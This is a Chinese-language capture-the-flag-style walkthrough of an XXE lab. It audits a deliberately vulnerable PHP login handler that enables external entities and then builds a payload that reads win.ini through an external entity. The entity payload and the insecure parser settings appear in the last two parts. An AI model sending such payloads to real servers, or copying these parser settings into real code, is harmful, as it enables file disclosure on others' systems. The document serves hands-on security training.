1、打开靶场地址/xxe-lab-master/php_xxe/
2、 抓包分析,用户名密码以POST提交,且形式类似xml
3、 审计源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); //php://input可以访问请求的原始数据的只读流,这里是读取post提交的字符串序列
try{
$dom = new DOMDocument(); //新建了一个xml对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //将post数据转变成xml文档
$creds = simplexml_import_dom($dom); //实例化 在此处发生了漏洞的利用
$username = $creds->username; //取xml中的<username></username> 把漏洞利用得到的信息提取出来
$password = $creds->password; //取xml中的<password></password>
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
//%d=1 %s=$username 这里1用来判断成功登录
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
//%d=0 %s=$username 这里0用来判断登录失败
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
// 成功提交后会返回result
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){ // 由上 0为登录失败
$(".msg").text(msg + " login fail!");
}else if(code == "1"){ //由上 1为登录成功
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
注意:漏洞利用是在上述
$dom = new DOMDocument(); //新建了一个xml对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //将post数据转变成xml文档
$creds = simplexml_import_dom($dom); //实例化 在此处发生了漏洞的利用
处,后面的只不过是将漏洞得到的信息拿出来
4、利用
构造payload
<?xml version="1.0" ?>
<!DOCTYPE
a [
<!ENTITY b SYSTEM 'file:///c://windows/win.ini'>]
>
<aaa><username>&b;</username></aaa>